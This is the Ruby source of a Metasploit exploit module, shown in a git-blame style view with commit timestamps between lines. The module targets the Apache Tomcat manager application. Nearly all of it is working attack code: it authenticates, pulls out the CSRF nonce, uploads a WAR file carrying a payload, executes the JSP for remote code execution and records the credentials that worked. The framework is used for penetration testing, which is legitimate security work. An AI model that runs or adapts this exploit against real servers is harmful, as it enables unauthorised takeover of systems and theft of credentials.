2014-01-27 14:04:59 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-01-30 20:03:52 +00:00
|
|
|
'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to execute a payload on Apache Tomcat servers that
|
2014-01-27 14:04:59 +00:00
|
|
|
have an exposed "manager" application. The payload is uploaded as a WAR archive
|
2014-01-30 20:03:52 +00:00
|
|
|
containing a jsp application using a POST request against the /manager/html/upload
|
|
|
|
component.
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
NOTE: The compatible payload sets vary based on the selected target. For
|
|
|
|
example, you must select the Windows target to use native Windows payloads.
|
|
|
|
},
|
|
|
|
'Author' => [ 'rangercha' ],
|
2014-01-30 20:03:52 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2014-01-27 14:04:59 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# This is based on jduck's tomcat_mgr_deploy.
|
|
|
|
# the tomcat_mgr_deploy o longer works for current versions of tomcat due to
|
2014-01-30 20:03:52 +00:00
|
|
|
# CSRF protection tokens. Also PUT requests against the /manager/html/deploy
|
|
|
|
# aren't allowed anymore.
|
|
|
|
|
2014-01-27 14:04:59 +00:00
|
|
|
# There is no single vulnerability associated with deployment functionality.
|
|
|
|
# Instead, the focus has been on insecure/blank/hardcoded default passwords.
|
|
|
|
|
2014-01-30 20:03:52 +00:00
|
|
|
# The following references refer to HP Operations Manager
|
|
|
|
[ 'CVE', '2009-3843' ],
|
|
|
|
[ 'OSVDB', '60317' ],
|
|
|
|
[ 'CVE', '2009-4189' ],
|
|
|
|
[ 'OSVDB', '60670' ],
|
|
|
|
|
|
|
|
# HP Operations Dashboard
|
|
|
|
[ 'CVE', '2009-4188' ],
|
|
|
|
|
|
|
|
# IBM Cognos Express Default user/pass
|
|
|
|
[ 'BID', '38084' ],
|
|
|
|
[ 'CVE', '2010-0557' ],
|
|
|
|
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
|
|
|
|
|
|
|
|
# IBM Rational Quality Manager and Test Lab Manager
|
|
|
|
[ 'CVE', '2010-4094' ],
|
|
|
|
[ 'ZDI', '10-214' ],
|
|
|
|
|
|
|
|
# 'admin' password is blank in default Windows installer
|
|
|
|
[ 'CVE', '2009-3548' ],
|
|
|
|
[ 'OSVDB', '60176' ],
|
|
|
|
[ 'BID', '36954' ],
|
|
|
|
|
|
|
|
# tomcat docs
|
|
|
|
[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
|
2014-01-27 14:04:59 +00:00
|
|
|
],
|
|
|
|
'Platform' => %w{ java linux win }, # others?
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
2014-01-30 20:03:52 +00:00
|
|
|
'Arch' => ARCH_JAVA,
|
2014-01-27 14:04:59 +00:00
|
|
|
'Platform' => 'java'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
#
|
|
|
|
# Platform specific targets only
|
|
|
|
#
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
2014-01-30 20:03:52 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2014-01-27 14:04:59 +00:00
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[ 'Linux x86',
|
|
|
|
{
|
2014-01-30 20:03:52 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2014-01-27 14:04:59 +00:00
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 09 2009'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
|
|
# /cognos_express/manager/ for Cognos Express (19300)
|
2014-01-30 20:03:52 +00:00
|
|
|
OptString.new('TARGETURI', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
|
2014-01-27 14:04:59 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = query_manager
|
|
|
|
disconnect
|
|
|
|
return CheckCode::Unknown if res.nil?
|
2014-01-30 20:03:52 +00:00
|
|
|
|
2014-01-30 20:20:02 +00:00
|
|
|
if res.code == 200
|
|
|
|
report_auth_info(
|
2014-01-30 21:04:08 +00:00
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:sname => (ssl ? "https" : "http"),
|
|
|
|
:user => datastore['USERNAME'],
|
|
|
|
:pass => datastore['PASSWORD'],
|
|
|
|
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
|
|
|
:active => true
|
2014-01-30 20:20:02 +00:00
|
|
|
)
|
|
|
|
return CheckCode::Appears
|
2014-01-27 14:04:59 +00:00
|
|
|
end
|
|
|
|
|
2014-01-30 20:20:02 +00:00
|
|
|
if res.code.between?(400, 499)
|
|
|
|
vprint_error("Server rejected the credentials")
|
|
|
|
return CheckCode::Unknown
|
|
|
|
end
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:20:02 +00:00
|
|
|
return CheckCode::Safe
|
2014-01-27 14:04:59 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def auto_target
|
|
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
|
2014-01-30 20:27:20 +00:00
|
|
|
res = query_status
|
|
|
|
return nil unless res
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
plat = detect_platform(res.body)
|
|
|
|
arch = detect_arch(res.body)
|
|
|
|
|
|
|
|
# No arch or platform found?
|
2014-01-30 20:27:20 +00:00
|
|
|
unless arch and plat
|
2014-01-27 14:04:59 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
# see if we have a match
|
2014-01-30 20:27:20 +00:00
|
|
|
targets.each { |t| return t if t['Platform'] == plat and t['Arch'] == arch }
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
# no matching target found
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# Generate the WAR containing the EXE containing the payload
|
|
|
|
jsp_name = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
app_base = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
|
|
|
|
# Generate the WAR containing the payload
|
2014-01-30 21:04:08 +00:00
|
|
|
war = payload.encoded_war({
|
2014-01-30 20:42:02 +00:00
|
|
|
:app_name => app_base,
|
|
|
|
:jsp_name => jsp_name,
|
2014-01-30 21:04:08 +00:00
|
|
|
:arch => target.arch,
|
|
|
|
:platform => target.platform
|
2014-01-30 20:42:02 +00:00
|
|
|
}).to_s
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:42:02 +00:00
|
|
|
# find CSRF Token
|
2014-01-30 20:20:02 +00:00
|
|
|
res = query_manager
|
2014-01-30 20:42:02 +00:00
|
|
|
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:42:02 +00:00
|
|
|
session_id = res.get_cookies
|
2014-01-27 14:04:59 +00:00
|
|
|
csrf_token = find_csrf(res)
|
|
|
|
|
2014-01-30 21:04:08 +00:00
|
|
|
vars_get = {}
|
|
|
|
unless csrf_token.nil?
|
|
|
|
vars_get = {
|
|
|
|
"path" => app_base,
|
|
|
|
"org.apache.catalina.filters.CSRF_NONCE" => csrf_token
|
|
|
|
}
|
2014-01-27 14:04:59 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# UPLOAD
|
|
|
|
#
|
2014-01-30 21:04:08 +00:00
|
|
|
path_tmp = normalize_uri(target_uri.path.to_s, "html", "upload")
|
2014-01-27 14:04:59 +00:00
|
|
|
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
|
|
|
|
|
2014-01-30 20:42:02 +00:00
|
|
|
boundary_identifier = rand_text_numeric(28)
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
warmultipart = "-----------------------------"
|
|
|
|
warmultipart << boundary_identifier
|
|
|
|
warmultipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
|
|
|
|
warmultipart << app_base
|
|
|
|
warmultipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
|
|
|
|
warmultipart << war
|
|
|
|
warmultipart << "\r\n-----------------------------"
|
|
|
|
warmultipart << boundary_identifier
|
|
|
|
warmultipart << "--\r\n"
|
|
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
|
2014-01-30 20:42:02 +00:00
|
|
|
'user' => datastore['USERNAME'],
|
2014-01-27 14:04:59 +00:00
|
|
|
'password' => datastore['PASSWORD'],
|
|
|
|
'cookie' => session_id,
|
2014-01-30 21:04:08 +00:00
|
|
|
'vars_get' => vars_get,
|
2014-01-27 14:04:59 +00:00
|
|
|
'data' => warmultipart,
|
2014-01-30 20:42:02 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]") unless res
|
|
|
|
|
|
|
|
if res.code < 200 or res.code >= 300
|
|
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
|
2014-01-27 14:04:59 +00:00
|
|
|
fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
|
|
|
|
report_auth_info(
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:sname => (ssl ? "https" : "http"),
|
|
|
|
:user => datastore['USERNAME'],
|
|
|
|
:pass => datastore['PASSWORD'],
|
|
|
|
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
|
|
|
|
:active => true
|
|
|
|
)
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
2014-01-30 20:42:02 +00:00
|
|
|
jsp_path = normalize_uri(app_base, "#{jsp_name}.jsp")
|
2014-01-27 14:04:59 +00:00
|
|
|
print_status("Executing #{jsp_path}...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => jsp_path,
|
|
|
|
'method' => 'GET'
|
2014-01-30 20:42:02 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
print_error("Execution failed on #{app_base} [No Response]") unless res
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:42:02 +00:00
|
|
|
if res and (res.code < 200 or res.code >= 300)
|
2014-01-27 14:04:59 +00:00
|
|
|
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
|
|
|
|
vprint_status(res.body)
|
|
|
|
end
|
|
|
|
|
|
|
|
#Get the new CSRF token & session id
|
2014-01-30 20:20:02 +00:00
|
|
|
res = query_manager
|
2014-01-30 20:42:02 +00:00
|
|
|
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager") unless res and res.code == 200
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:42:02 +00:00
|
|
|
session_id = res.get_cookies
|
2014-01-27 14:04:59 +00:00
|
|
|
csrf_token = find_csrf(res)
|
|
|
|
|
2014-01-30 21:04:08 +00:00
|
|
|
vars_get = {}
|
|
|
|
unless csrf_token.nil?
|
|
|
|
vars_get = {
|
|
|
|
"path" => app_base,
|
|
|
|
"org.apache.catalina.filters.CSRF_NONCE" => csrf_token
|
|
|
|
}
|
2014-01-27 14:04:59 +00:00
|
|
|
end
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
2014-01-30 21:04:08 +00:00
|
|
|
path_tmp = normalize_uri(target_uri.path.to_s, "html", "undeploy")
|
2014-01-27 14:04:59 +00:00
|
|
|
print_status("Undeploying #{app_base} ...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => path_tmp,
|
2014-01-30 21:04:08 +00:00
|
|
|
'vars_get' => vars_get,
|
2014-01-27 14:04:59 +00:00
|
|
|
'method' => 'POST',
|
2014-01-30 20:42:02 +00:00
|
|
|
'user' => datastore['USERNAME'],
|
2014-01-27 14:04:59 +00:00
|
|
|
'password' => datastore['PASSWORD'],
|
|
|
|
'cookie' => session_id
|
2014-01-30 20:42:02 +00:00
|
|
|
})
|
|
|
|
print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]") unless res
|
|
|
|
|
|
|
|
if res and (res.code < 200 or res.code >= 300)
|
2014-01-27 14:04:59 +00:00
|
|
|
print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-01-30 20:27:20 +00:00
|
|
|
def query_status
|
|
|
|
path = normalize_uri(target_uri.path.to_s, 'status')
|
|
|
|
res = send_request_raw('uri' => path)
|
2014-01-27 14:04:59 +00:00
|
|
|
|
2014-01-30 20:27:20 +00:00
|
|
|
unless res and res.code == 200
|
|
|
|
vprint_error("Failed: Error requesting #{path}")
|
2014-01-27 14:04:59 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
2014-01-30 20:20:02 +00:00
|
|
|
def query_manager
|
2014-01-30 20:03:52 +00:00
|
|
|
path = normalize_uri(target_uri.path.to_s, '/html')
|
2014-01-30 20:20:02 +00:00
|
|
|
res = send_request_raw('uri' => path)
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
2014-01-30 20:27:20 +00:00
|
|
|
def detect_platform(body)
|
|
|
|
return nil if body.blank?
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
i=0
|
|
|
|
|
|
|
|
body.each_line { |ln|
|
|
|
|
ln.chomp!
|
|
|
|
|
|
|
|
case ln
|
|
|
|
when /OS Name/
|
|
|
|
i=1
|
|
|
|
end
|
|
|
|
|
|
|
|
if (i==9 or i==11)
|
|
|
|
if ln.include? "Windows"
|
|
|
|
return 'win'
|
|
|
|
elsif ln.include? "Linux"
|
|
|
|
return 'linux'
|
|
|
|
elsif i==11
|
|
|
|
return 'unknown'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
if i>0
|
|
|
|
i=i+1
|
|
|
|
end
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def detect_arch(body)
|
2014-01-30 20:27:20 +00:00
|
|
|
return nil if body.blank?
|
2014-01-27 14:04:59 +00:00
|
|
|
|
|
|
|
i=0
|
|
|
|
body.each_line { |ln|
|
|
|
|
ln.chomp!
|
|
|
|
|
|
|
|
case ln
|
|
|
|
when /OS Architecture/
|
|
|
|
i=1
|
|
|
|
end
|
|
|
|
if (i==9 or i==11)
|
|
|
|
if ln.include? 'x86'
|
|
|
|
return ARCH_X86
|
|
|
|
elsif ln.include? 'i386'
|
|
|
|
return ARCH_X86
|
|
|
|
elsif ln.include? 'i686'
|
|
|
|
return ARCH_X86
|
|
|
|
elsif ln.include? 'x86_64'
|
|
|
|
return ARCH_X86
|
|
|
|
elsif ln.include? 'amd64'
|
|
|
|
return ARCH_X86
|
|
|
|
elsif i==11
|
|
|
|
return 'unknown'
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
if i>0
|
|
|
|
i=i+1
|
|
|
|
end
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def find_csrf(res = nil)
|
|
|
|
print_status("Finding CSRF")
|
|
|
|
body=res.body
|
|
|
|
body.each_line { |ln|
|
|
|
|
ln.chomp!
|
|
|
|
csrf_string = "CSRF_NONCE="
|
|
|
|
csrf_nonce = ln.index(csrf_string)
|
2014-01-30 21:04:08 +00:00
|
|
|
csrf_test = 0
|
2014-01-27 14:04:59 +00:00
|
|
|
if csrf_nonce == nil
|
|
|
|
csrf_test = -1
|
|
|
|
else
|
|
|
|
csrf_test = csrf_nonce
|
|
|
|
end
|
2014-01-30 21:04:08 +00:00
|
|
|
if csrf_test >= 0
|
2014-01-27 14:04:59 +00:00
|
|
|
token = ln[csrf_nonce+csrf_string.length,32]
|
|
|
|
return token
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
return ""
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|